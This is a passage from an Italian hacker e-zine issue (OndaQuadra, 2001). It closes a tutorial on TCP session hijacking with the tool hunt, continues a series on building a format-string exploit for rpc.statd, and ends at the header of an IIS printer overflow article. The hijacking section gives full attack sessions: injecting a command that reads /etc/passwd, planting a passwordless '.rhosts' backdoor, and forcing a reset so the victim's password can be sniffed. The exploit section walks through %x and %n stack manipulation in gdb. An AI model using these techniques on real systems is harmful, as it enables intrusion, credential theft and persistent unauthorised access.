| eseguire comandi arbitrari sul server target con i privilegi associati a |
| victim, il programma hunt non farà altro che accodare al flusso di dati il |
| nostro comando che risulterà provenire dall'host victim: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> s |
| 0) 192.168.1.35 [34296] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump connection y/n [n]> n |
| Enter the command string you wish executed or [cr]> cat /etc/passwd |
| c |
| [victim@target victim]$ ca |
| [victim@target victim]$ cat |
| [victim@target victim]$ cat |
| [victim@target victim]$ cat / |
| [victim@target victim]$ cat /e |
| [victim@target victim]$ cat /et |
| [victim@target victim]$ cat /etc |
| [victim@target victim]$ cat /etc/ |
| [victim@target victim]$ cat /etc/p |
| [victim@target victim]$ cat /etc/pa |
| [victim@target victim]$ cat /etc/pas |
| [victim@target victim]$ cat /etc/pass |
| [victim@target victim]$ cat /etc/passw |
| [victim@target victim]$ cat /etc/passwd |
| [victim@target victim]$ cat /etc/passwd |
| root:x:0:0:root:/root:/bin/bash |
| bin:x:1:1:bin:/bin: |
| daemon:x:2:2:daemon:/sbin: |
| adm:x:3:4:adm:/var/adm: |
| lp:x:4:7:lp:/var/spool/lpd: |
| sync:x:5:0:sync:/sbin:/bin/sync |
| shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown |
| halt:x:7:0:halt:/sbin:/sbin/halt |
| mail:x:8:12:mail:/var/spool/mail: |
| news:x:9:13:news:/var/spool/news: |
| uucp:x:10:14:uucp:/var/spool/uucp: |
| operator:x:11:0:operator:/root: |
| games:x:12:100:games:/usr/games: |
| gopher:x:13:30:gopher:/usr/lib/gopher-data: |
| postgres:x:40:41:PostgreSQL Server:/var/lib/pgsql:/bin/bash |
| ftp:x:14:50:FTP User:/var/ftp: |
| gdm:x:42:42:GDM User:/var/lib/gdm: |
| htdig:x:51:51:HTDIG User:/var/www/html/htdig: |
| dhcpd:x:19:19:Dhcpd User:/var/dhcpd: |
| named:x:25:25:Bind User:/var/named: |
| nscd:x:28:28:NSCD Daemon:/:/bin/false |
| apache:x:48:48:Apache User:/var/www: |
| rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/bin/false |
| rpc:x:32:32:Portmapper RPC user:/:/bin/false |
| sympa:x:89:89:Sympa Mailing list manager:/var/lib/sympa:/bin/bash |
| nobody:x:99:99:Nobody:/: |
| alias:x:400:401:qmail alias user:/var/qmail/alias:/bin/true |
| qmaild:x:401:401:qmaild user:/var/qmail:/bin/true |
| qmaill:x:402:401:qmaill user:/var/qmail:/bin/true |
| qmailp:x:403:401:qmailp user:/var/qmail:/bin/true |
| qmailq:x:404:400:qmailq user:/var/qmail:/bin/true |
| qmailr:x:405:400:qmailr user:/var/qmail:/bin/true |
| qmails:x:406:400:qmails user:/var/qmail:/bin/true |
| dnscache:x:410:405:dnscache user:/var/djbdns:/bin/true |
| dnslog:x:411:405:dnslog user:/var/djbdns:/bin/true |
| tinydns:x:412:405:tinydns user:/var/djbdns:/bin/true |
| axfrdns:x:413:405:axfrdns user:/var/djbdns:/bin/true |
| xfs:x:414:414:X Font Server:/etc/X11/fs:/bin/false |
| victim:x:501:501:victim:/home/victim:/bin/bash |
| [victim@target victim]$ |
| [victim@target victim]$ Enter the command string you wish executed or [cr]> |
| [r]eset connection/[s]ynchronize/[n]one [r]> r |
| done |
| --- Main Menu --- rcvpkt 3987, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> |
| |
| In tal modo abbiamo attenuto il password file, non è /etc/shadow ma è già |
| qualcosa :) |
| |
| ARP/Simple Hijack |
| Scongiura il problema dell'ACK storm, permette di manipolare il flusso di |
| dati della sessione desiderata. E' possibile effettuare un ARP spoofing per |
| entrambi i capi della connessione (victim e target), per uno solo dei due o |
| per nessuno di essi a seconda delle proprie esigenze. E' caldamente |
| raccomandato l'uso dell'ARP relayer nel caso in cui si opti per un ARP |
| s

  
poofing che coinvolge ambo i capi della connessione, esso impedisce di |
| influire sulle altre sessioni in gioco tra i due host provvedendo al loro |
| reinstradamento. |
| Viceversa, immaginiamo di optare per una soluzione che preveda unicamente |
| l'ARP spoofing dell'host victim, le sole connessioni affette saranno quelle |
| dirette verso tale host. |
| L'uso di questa modalità occulta l'operato dell'attacker che può agire |
| indisturbato, la sessione victim rimane momentaneamente congelata a causa |
| della desincronizzazione; terminato il dirottamento di sessione è possibile |
| decidere di resettare o sincronizzare la connessione (spiegato in seguito). |
| Possiamo servirci di tale attacco per eseguire comandi arbitrari sul sistema |
| |
| target usufruendo dei privilegi associati all'user victim, nel prossimo |
| esempio piazzeremo una backdoor: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */
|
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> a |
| 0) 192.168.1.35 [34301] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| arp spoof src in dst y/n [y]> y |
| src MAC [EA:1A:DE:AD:BE:01]> |
| arp spoof dst in src y/n [y]> y |
| dst MAC [EA:1A:DE:AD:BE:02]> |
| input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]> r |
| dump connectin y/n [y]> n |
| press key to take over of connection |
| you took over the connection |
| CTRL-] to break |
| e |
| [victim@target victim]$ ec |
| [victim@target victim]$ ech |
| [victim@target victim]$ echo |
| [victim@target victim]$ echo |
| [victim@target victim]$ echo + |
| [victim@target victim]$ echo + |
| [victim@target victim]$ echo + + |
| [victim@target victim]$ echo + + |
| [victim@target victim]$ echo + + > |
| [victim@target victim]$ echo + + >> |
| [victim@target victim]$ echo + + >> |
| [victim@target victim]$ echo + + >> ~ |
| [victim@target victim]$ echo + + >> ~/ |
| [victim@target victim]$ echo + + >> ~/. |
| [victim@target victim]$ echo + + >> ~/.r |
| [victim@target victim]$ echo + + >> ~/.rh |
| [victim@target victim]$ echo + + >> ~/.rho |
| [victim@target victim]$ echo + + >> ~/.rhos |
| [victim@target victim]$ echo + + >> ~/.rhost |
| [victim@target victim]$ echo + + >> ~/.rhosts |
| [victim@target victim]$ echo + + >> ~/.rhosts |
| [victim@target victim]$ |
| |
| Cosa aspettate? Non vi resta che collegarvi a target con un client rlogin |
| (qualsiasi r-commands), avrete accesso al sistema senza bisogno di |
| specificare alcuna password. |
| |
| Connection Reset |
| Permette di forgiare un pacchetto in grado di resettare la sessione corrente |
| |
| tra i sistemi victim e target (flag RST attivo), non si pone il problema |
| della predizione del numero sequenziale in quanto la sessione è sniffata |
| integralmente dal tool stesso. |
| Una buona tecnica è quella di resettare la connessione tra i due host al |
| fine di forzare victim ad effettuare nuovamente l'autenticazione che potrà |
| venir sniffata per mezzo dell'opzione watch, vediamo l'esempio: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */
|
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> r |
| 0) 192.168.1.35 [33322] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| reset [s]rc/[d]st/[b]oth [b]> b |
| done |
| --- Main Menu --- rcvpkt 3992, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> w |
| 0) 192.168.1.35 [33409] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| |
| CTRL-C to break |
| victim |
| secret |
| |
| Agli occhi della vittima il tutto apparirà così: |
| |
| [victim@victim victim]$ telnet 192.168.1.34 |
| Trying 192.168.1.34... |
| Connected to 192.168.1.34. |
| Escape character is '^]'. |
| Welcome to target.workgroup.com |
| Linux Mandrake release 8.0 (Traktopel) for i586 |
| Kernel 2.4.3-20mdk on an i686 |
| login: victim |
| Password: |
| Last login: Mon Oct 29 09:34:26 from 192.168.1.35 |
| [victim@target victim]$ |
| [victim@target victim]$ Connection closed by foreign host. |
| [victim@victim victim]$ telnet 192.168.1.34 |
| Trying 192.168.1.34... |
| Connected to 192.168.1.34. |
| Escape character is '^]'. |
| Welcome to target.workgroup.com |
| Linux Mandrake release 8.0 (Traktopel) for i586 |
| Kernel 2.4.3-20mdk on an i686 |
| login: victim |
| Password: |
| Last login: Mon Oct 29 09:39:31 from 192.168.1.35 |
| [victim@target victim]$ |
| |
| |
| Connection Synchronization |
| Tale operazione si rende necessaria nel qual caso l'attacker non si limiti |
| nello sniffing della sessione ma proceda nell'inserimento di dati nel flusso |
| |
| TCP, in questo caso si verificherebbe una desincronizzazione tra l'host |
| victim e target. L'attacker può così decidere di resettare la connessione |
| oppure procedere alla sua sincronizzazione. |
| Nel secondo caso Hunt cercherà di "riallineare" la sessione, tale azione da |
| modo ai due host di riprendere il controllo della connessione |
| precedentemente interrotta dal dirottamento. |
| |
| Switch/Segment traffic rerouting |
| Grazie alla tecnica conosciuta con il nome di ARP spoofing permette di |
| aggirare i problemi derivanti da un'implementazione di una rete switchata, |
| forza lo switch a instradare il traffico diretto verso un certo host in un |
| altro segmento di rete. |
| |
| E4zy vi saluta e vi augura buon divertimento :) |
| |
| Bibliografia: |
| |
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal |
| Connections |
| RFC 793 - Transmission Control Protocol |
| TCP/IP Guida Completa - Apogeo |
| Hunt v.1.5 README |
| |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #04 - 19/11/2001 |
| LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0A/0x23 |
+-------------------------------------------------------------------------------+
| |
| |
| ovvero |
| |
| come scriversi il proprio exploit personale in tre puntate (...o forse piu' |
| :) |
| |
| *************** Seconda Puntata *************** |
| |
| 3. L'exploit |
| |
| E cosi' adesso volete vedere come si riesce ad eseguire un programma su una |
| macchina remota attraverso l'invio di una stringa di caratteri |
| apparentemente |
| innocua, eh? Bene! Siete capitati nel posto giusto! Tutto quello di cui |
| avremo |
| bisogno e': |
| |
| - una conoscenza "decente" dei meccanismi che governano la gestione dello |
| stack |
| - una certa quale dimestichezza con i concetti e gli strumenti di debugging |
| (gdb |
| prima di tutti) |
| - una macchina linux disponibile (personalmente ho lavorato su ua Red Hat |
| 7.1, |
| quindi gli esempi sono funzionanti *certamente* su questa distribuzione, |
| ma |
| immagino siano assolutamente trasportabili su molte altre) |
| - tanta, tanta, tanta buona volonta' e voglia di capire (la stessa che ha |
| animato |
| me quando, in presenza di un sistema violato, ho voluto andare in fondo a |
| questa storia ;) |
| |
| Ok, verificato che disponiamo di tutte queste cose, cominciamo pure le danze |
| ;) |
| |
| Si parte! |
| |
| |
| 3.1. Principio tecnico |
| |
| Qualsiasi processo in esecuzione utilizza delle zone di menoria per |
| conservare le |
| informazioni necessarie al suo funzionamento; parliamo non soltanto di |
| valori |
| variabili durante l'esecuzione, ma anche di codice eseguibile che deve |
| giocoforza |
| essere caricato in memoria e solo successivamente puo' venire eseguito dalla |
| CPU. |
| Le zone di memoria in cui queste informazioni vengono mantenute prende il |
| nome di |
| "spazio di indirizzamento del processo" e la sua gestione e' a completa |
| discrezione |
| del kernel. Tuttavia, per mantenere un certo livello di astrazione, il |
| kernel si |
| occupa di "virtualizzare" gli indirizzi: mentre il processo "vede" certe |
| variabili |
| a certi indirizzi (sempre uguali, dal suo punto di vista) il kernel si |
| occupa di |
| gestire l'indirizzamento effettivo in memoria utilizzando tecniche di |
| "mapping" |
| degli indirizzi e facendo corrispondere gli indirizzi "fissi" del processo |
| ad |
| altrettanti indirizzi della memoria fisica, variandone i valori a seconda |
| delle |
| varie condizioni. Ad esempio, lo stesso processo puo' venire caricato in |
| zone di |
| memoria fisica differenti nel momento in cui venga temporaneamente |
| parcheggiato su |
| disco per liberare memoria fisica in quel momento necessaria all'esecuzione |
| di |
| processi piu' "importanti", mediante l'operazione comunemente conosciuta con |
| il |
| nome di "swapping". Non entreremo piu' di tanto in queste questioni; a noi |
| basta |
| sapere che esistono zone di memoria alle quali i processi possono fare |
| riferimento |
| attraverso un indirizzamento che resta, dal loro punto di vista, costante e |
| questo |
| e' alla base dell'exploit che analizzeremo. |
| |
| |
| |
| 3.1.1. Analisi dei due exploit principalmente utilizzati |
| |
| Premessa: ogni exploit deriva sempre ed incondizionatamente da un ERRORE di |
| programmazione, non importa quanto in buona fede. Sostanzialmente |
| si tratta di una mancanza di controlli sugli input ricevuti |
| dall'esterno siano essi relativi alla dimensione dell'input |
| ricevuto |
| (buffer overflow) oppure al "significato" dell'input stesso |
| (validazione |
| dell'input vera e propria, da cui derive la possibilita' di |
| sovrascrivere |
| zone dello stack) |
| |
| Buffer overflow: piu' "semplice", sostanzialmente in grado di sovrascrivere |
| lo stack |
| attraverso la concatenazione di stringhe eccessivamente lunghe |
| |
| Input validation: utilizzando opportune tecniche (l'operatore "%n" in una |
| chiamata a |
| qualche funzione che realizzi un output; esempi di tali funzioni sono la |
| printf, la |
| syslog, la sprintf e cosi' via) si riesce a sovrascrivere l'indirizzo di |
| ritorno |
| della routine, permettendo pertanto l'esecuzione di codice "arbitrario" |
| |
| |
| |
| |
| 3.1.2. Punti in comune |
| |
| |
| Tutti e due questi tipi di exploit mirano ad un unico obiettivo: riuscire a |
| modificare |
| le informazioni del processo in modo tale da fargli eseguire delle |
| istruzioni diverse |
| da quelle che normalmente eseguirebbe. Il massimo obiettivo e' quello di |
| fare eseguire |
| un codice specificato direttamente dall'attaccante, ottenendo in tal modo il |
| pieno |
| controllo del comportamento del processo stesso (vi lascio immaginare cosa |
| questo |
| voglia dire se ci si trova in presenza di un processo eseguito con i massimi |
| privilegi... ;) |
| |
| |
| |
| 3.1.3. Differenze |
| |
| |
| La tecnica del "buffer overflow" si basa sostanzialmente su di un errore di |
| programmazione, sulla base del quale una concatenazione o una copia di |
| stringhe si |
| presenta (ripeto, a causa di un errore di programmazione) come una stringa |
| molto piu' |
| lunga di quanto atteso, con il rislutato di sovrascrivere zone di memoria |
| inattese |
| (solitamente lo stack). |
| |
| A differenza delle prime, le tecniche basaste sulla mancanza di "input |
| validation"
|
| si basano sostanzialmente non tanto su un errore di programmazione quanto su |
| un mancato |
| controllo della validita' SEMANTICA di una stringa ricevuta in ingresso, con |
| la |
| spiacevole conseguenza di lasciare "aperta" una possibilita' ad eventuali |
| attaccanti... |
| possibilita' che, come vedremo, viene sfruttata a piene mani... ;) |
| |
| |
| |
| 3.2. Un esempio "step-by-step" di exploit basato sulla mancata validazione |
| dell'input |
| |
| 3.2.1. Cosa c'e' sullo stack? |
| |
| |
| Per meglio spiegare i concetti che vedremo di seguito, invito tutti quanti |
| ad una serie |
| di sessioni pratiche, a cominciare da ADESSO! |
| |
| |
| Dotiamoci di una macchina linux e con il nostro editor preferito creiamo il |
| file prova1.c |
| inserendo il seguente codice in linguaggio "C" |
| |
| main () |
| { |
| char buffer[4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 64; i++) |
| buffer[i] = ' ' + i; |
| |
| printf (buffer); |
| } |
| |
| Fatto? Bene. Adesso compiliamo il programma con l'istruzione |
| |
| # gcc -g -o prova1 prova1.c |
| |
| ATTENZIONE! E' importante lo switch "-g" che indica al compilatore di |
| mantenere valide |
| le informazioni per una successiva fase di debugging. |
| |
| Ok, adesso eseguiamo il programma ottenuto, controllandone il comportamento |
| con il |
| debugger mediante il comando |
| |
| # gdb prova1 |
| |
| La parte che segue viene estratta direttamente dalla sessione pratica, |
| inframmezzando |
| le operazioni con i rispettivi commenti. |
| |
| |
| # gdb prova1 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "show warranty" for details. |
| This GDB was configured as "i386-redhat-linux"... |
| (gdb) b main |
| Breakpoint 1 at 0x8048495: file prova1.c, line 7. |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova1 |
| |
| Breakpoint 1, main () at prova1.c:7 |
| 7 bzero (buffer, 4096); |
| (gdb) x $sp |
| 0xbfffea50: 0x000001e7 |
| (gdb) x buffer |
| 0xbfffea60: 0x000006d8 |
| (gdb) x /10 $sp |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000305 |
| 0xbfffea60: 0x000006d8 0x00000779 0x000002b7 0x000004cc |
| 0xbfffea70: 0x00000000 0x00000000 |
| (gdb) n |
| 9 for (i = 0; i < 64; i++) buffer[i]=' ' + i; |
| (gdb) n |
| 11 printf (buffer); |
| (gdb) x /10 $sp |
| 0xbfffea50: 0x000001e7 0x000007f5 0x000006ea 0x00000040 |
| 0xbfffea60: 0x23222120 0x27262524 0x2b2a2928 0x2f2e2d2c |
| 0xbfffea70: 0x33323130 0x37363534 |
| (gdb) |
| |
| |
| A questo punto controlliamo l'espansione del programma in linguaggio |
| assembler |
| |
| |
| (gdb) disass |
| Dump of assembler code for function main: |
| 0x804848c <main>: push %ebp |
| 0x804848d <main+1>: mov %esp,%ebp |
| 0x804848f <main+3>: sub $0x1018,%esp |
| 0x8048495 <main+9>: sub $0x8,%esp |
| 0x8048498 <main+12>: push $0x1000 |
| 0x804849d <main+17>: lea 0xffffeff8(%ebp),%eax |
| 0x80484a3 <main+23>: push %eax |
| 0x80484a4 <main+24>: call 0x8048398 <bzero> |
| 0x80484a9 <main+29>: add $0x10,%esp |
| 0x80484ac <main+32>: movl $0x0,0xffffeff4(%ebp) |
| 0x80484b6 <main+42>: mov %esi,%esi |
| 0x80484b8 <main+44>: cmpl $0x3f,0xffffeff4(%ebp) |
| 0x80484bf <main+51>: jle 0x80484c4 <main+56> |
| 0x80484c1 <main+53>: jmp 0x80484e8 <main+92> |
| 0x80484c3 <main+55>: nop |
| 0x80484c4 <main+56>: lea 0xffffeff8(%ebp),%eax |
| 0x80484ca <main+62>: mov %eax,%ecx |
| 0x80484cc <main+64>: mov 0xffffeff4(%ebp),%edx |
| 0x80484d2 <main+70>: mov 0xffffeff4(%ebp),%al |
| 0x80484d8 <main+76>: add $0x20,%eax |
| 0x80484db <main+79>: mov %al,(%edx,%ecx,1) |
| 0x80484de <main+82>: lea 0xffffeff4(%ebp),%eax |
| ---Type <return> to continue, or q <return> to quit--- |
| 0x80484e4 <main+88>: incl (%eax) |
| 0x80484e6 <main+90>: jmp 0x80484b8 <main+44> |
| 0x80484e8 <main+92>: sub $0xc,%esp |
| 0x80484eb <main+95>: lea 0xffffeff8(%ebp),%eax |
| 0x80484f1 <main+101>: push %eax |
| 0x80484f2 <main+102>: call 0x8048378 <printf> |
| 0x80484f7 <main+107>: add $0x10,%esp |
| 0x80484fa <main+110>: leave |
| 0x80484fb <main+111>: ret |
| End of assembler dump. |
| (gdb) |
| |
| |
| Notiamo subito che gli indirizzi di memoria appartenenti al range |
| 0x804848c-0x80484fb |
| appartengono al codice eseguibile, mentre quelli del range |
| 0xbfffea50-0xbfffea80 |
| fanno parte dello stack. Tramite gli opportuni comandi di gdb e' possibile |
| esaminare |
| a nostro piacimento il contenuto di questi spazi di indirizzamento. A titolo |
| di |
| studio, impostiamo un breakpoint all'inizio della funzione printf ed |
| eseguiamo il |
| programma fino a quel punto |
| |
| (gdb) b printf |
| Breakpoint 2 at 0x40080d76: file printf.c, line 30. |
| (gdb) c |
| Continuing. |
| |
| Breakpoint 2, printf ( |
| format=0xbfffea60 " |
| !\"
#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[ |
| \\]^_") at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| (gdb) |
| |
| |
| |
| benissimo. ora possiamo prendere atto di che cosa vi sia effettivamente |
| sullo stack; |
| commenteremo insieme il suo contenuto |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0xbfffea60 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x080484f7 0xbfffea60 0x00001000 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000040 0x23222120 0x27262524 0x2b2a2928 |
| 0xbfffea6c: 0x2f2e2d2c 0x33323130 0x37363534 0x3b3a3938 |
| (gdb) |
| |
| |
| notiamo che il buffer (0xbfffea60) e' effettivamente sullo stack ad un certo |
| numero |
| di indirizzi successivi a quelli dei parametri della funzione printf |
| (0xbfffea40), |
| cosi' si puo' approfittare della cosa inserendo opportunamente i vari |
| formattatori |
| per fare in modo che il contenuto del buffer al suo inizio possa essere |
| usato come |
| puntatore per il formattatore %n, mettendo l'indirizzo (0xbfffea3c) che |
| contiene |
| l'indirizzo di ritorno della funzione printf |
| |
| |
| |
| |
| |
| 3.2.2. L'idea alla base di tutto |
| |
| |
| L'idea e' quella di passare nel buffer una serie di operatori di |
| formattazione in |
| modo tale da far "
credere" alla funzione di output che esistano altri |
| argomenti; |
| poiche' la funzione estrarra' tali argomenti direttamente dallo stack, |
| calcolando |
| correttamente il numero di detti argomenti fittizi sara' possibile |
| utilizzare dei |
| valori contenuti nel buffer stesso, che e' memorizzato dopo un certo numero |
| di byte. |
| |
| |
| |
| |
| A titolo di esempio di come questo possa avvenire, provate a seguire queste |
| due |
| simpatiche sessioni, con codici derivati da quello precedente |
| |
| # cat prova2.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| for (i = 0; i < 10; i++) strcat (&buffer[i*3], "
%x\n"); |
| |
| printf (buffer); |
| } |
| # |
| |
| qui riempiamo il buffer con dieci formattatori che si aspettano pertanto di |
| trovare |
| dieci argomenti nella chiamata alla printf; poiche', pero', noi non abbiamo |
| specificato null'altro che il buffer, i dicei argomenti verranno estratti |
| dallo stack, |
| senza nessuna considerazione di cosa veramente vi sia contenuto. Il |
| risultato sara'... |
| |
| # gcc -g -o prova2 prova2.c |
| # gdb prova2 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "
show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "
show warranty" for details. |
| This GDB was configured as "
i386-redhat-linux"... |
| |
| |
| imposto una interruzione nella chiamata della printf ed eseguo fino a quel |
| punto |
| |
| (gdb) b printf |
| Breakpoint 1 at 0x80483ac |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova2 |
| Breakpoint 1 at 0x40080d76: file printf.c, line 30. |
| |
| Breakpoint 1, printf ( |
| format=0xbfffea60 "
%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n") |
| at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| |
| |
| esamino lo stack |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x080485a4 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x08048537 0xbfffea60 0x080485a4 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x0000000a 0x250a7825 0x78250a78 0x0a78250a |
| 0xbfffea6c: 0x250a7825 0x78250a78 0x0a78250a 0x250a7825 |
| |
| |
| ok, proseguiamo e... |
| |
| |
| (gdb) c |
| Continuing. |
| 80485a4 |
| 7e3 |
| 6c4 |
| 1e7 |
| 7f5 |
| 6ea |
| a |
| 250a7825 |
| 78250a78 |
| a78250a |
| |
| Program exited with code 070. |
| (gdb) q |
| # |
| |
| |
| BINGO!!! La funzione printf ha appena stampato il contenuto delle dieci |
| locazioni |
| di memoria da 0xbfffea44 a 0xbfffea68, cioe' le locazioni IMMEDIATAMENTE |
| successive |
| a quella che conteneva l'unico parametro passato alla printf stessa. Da |
| notare che |
| gli ultimi valori sono IL CONTENUTO DEL BUFFER STESSO!!! Mooooolto |
| importante! :) |
| |
| |
| Proseguiamo adesso con il secondo esempio, ancora piu' interessante |
| |
| |
| # cat prova3.c |
| |
| main () |
| { |
| char buffer [4096]; |
| int i; |
| |
| bzero (buffer, 4096); |
| |
| |
| strcat (buffer, "
12345 %n\n"); |
| |
| |
| printf (buffer, &i); |
| } |
| # |
| |
| qui abbiamo inserito il formattatore %n che ha come risultato quello di |
| SCRIVERE |
| ALL'INDIRIZZO CHE TROVA COME ARGOMENTO il numero di caratteri fino a quel |
| momento |
| stampato in output. Per comprendere meglio, abbiamo anche fornito un |
| indirizzo |
| valido (l'argomento &i successivo) in modo da dimostrare la funzionalita' |
| del |
| formattatore in esame. |
| |
| |
| # gcc -g -o prova3 prova3.c |
| # |
| # gdb prova3 |
| GNU gdb 5.0 |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and you are |
| welcome to change it and/or distribute copies of it under certain |
| conditions. |
| Type "
show copying" to see the conditions. |
| There is absolutely no warranty for GDB. Type "
show warranty" for details. |
| This GDB was configured as "
i386-redhat-linux"... |
| (gdb) b main |
| Breakpoint 1 at 0x80484c5: file prova3.c, line 7. |
| (gdb) r |
| Starting program: /root/Ondaquadra/prova3 |
| |
| Breakpoint 1, main () at prova3.c:7 |
| 7 bzero (buffer, 4096); |
| (gdb) p i |
| $1 = 773 |
| (gdb) p &i |
| $2 = (int *) 0xbfffea5c |
| |
| |
| benissimo: la variabile i vale 773 (un valore casuale presente sullo stack) |
| ed il |
| suo indirizzo e' 0xbfffea5c. |
| |
| |
| (gdb) b printf |
| Breakpoint 2 at 0x40080d76: file printf.c, line 30. |
| (gdb) c |
| Continuing. |
| |
| Breakpoint 2, printf (format=0xbfffea60 "
12345 %n\n") at printf.c:30 |
| 30 printf.c: File o directory inesistente. |
| |
| ok. siamo nella printf. esaminiamo il contenuto dello stack |
| |
| |
| (gdb) x/20 $sp |
| 0xbfffea2c: 0x0804857c 0x40080d64 0x40143824 0xbffffa68 |
| 0xbfffea3c: 0x08048509 0xbfffea60 0xbfffea5c 0x000007e3 |
| 0xbfffea4c: 0x000006c4 0x000001e7 0x000007f5 0x000006ea |
| 0xbfffea5c: 0x00000305 0x34333231 0x6e252035 0x0000000a |
| 0xbfffea6c: 0x00000000 0x00000000 0x00000000 0x00000000 |
| |
| |
| qui si vede come nella locazione 0xbfffea40 sia memorizzato l'indirizzo del |
| buffer (0xbfffea60) ed in quella successiva sia memorizzato l'indirizzo |
| della |
| variabile i, in modo tale che il formattatore %n trovi un indirizzo valido. |
| |
| (gdb) n |
| 31 in printf.c |
| (gdb) n |
| 12345 |
| 35 in printf.c |
| |
| ecco fatto! In output vediamo solo i primi caratteri del buffer (ovviamente) |
| ma |
| nella realta' la printf ha anche scritto il numero di caratteri finora |
| stampati |
| (e cioe' sei, vi ricordo IL BLANK prima del formattatore vero e proprio) |
| all'indirizzo |
| trovato come argomento sullo stack, ossia nella variabile i |
| |
| |
| (gdb) n |
| 34 in printf.c |
| (gdb) n |
| 35 in printf.c |
| (gdb) n |
| main () at prova3.c:14 |
| 14 } |
| (gdb) p i |
| $4 = 6 |
| |
| |
| come volevasi dimostrare! :) |
| |
| |
| (gdb) c |
| Continuing. |
| |
| Program exited with code 07. |
| (gdb) q |
| # |
| |
| A questo punto risulta chiaro che abbiamo tutti gli strumenti e tutte le |
| informazioni per potere fare qualcosa di davvero molto interessante. |
| Ricapitoliamo: |
| |
| - sappiamo come "
navigare" lo stack inserendo ad arte un numero opportuno di |
| formattatori di tipo %x |
| |
| - sappiamo come utilizzare il formattatore %n per scrivere valori in zone di |
| memoria il cui indirizzo sia sullo stack |
| |
| - sappiamo che il nostro buffer e' fisicamente presente sullo stack in una |
| posizione che ci permette di raggiungerlo con una sapiente sequenza di |
| formattatori |
| |
| ...non devo aggiungere altro, mi pare, no? :) |
| |
| ed infatti per questa punt

  
ata non lo faro'. Lascio a voi il piacere di |
| sperimentare |
| le tecniche appena analizzate e, proprio per i piu' pigri, la prossima volta |
| vi |
| forniro' le ultime informazioni necessarie per completare l'opera (ma il |
| riuscirci |
| da soli sarebbe davvero una soddisfazione non da poco... o sbaglio? ;) ;) ;) |
| |
| |
| ...alla prossima |
| |
| |
| xyzzy |
| |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [L'ANG0L0 DEGLi EXPL0iT] #04 - 19/11/2001 |
| IIS 5.0 PRiNTER 0VERFL0W [MightyInquisitor] 0x0B/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: IIS 5.0 PRINTER OVERFLOW |
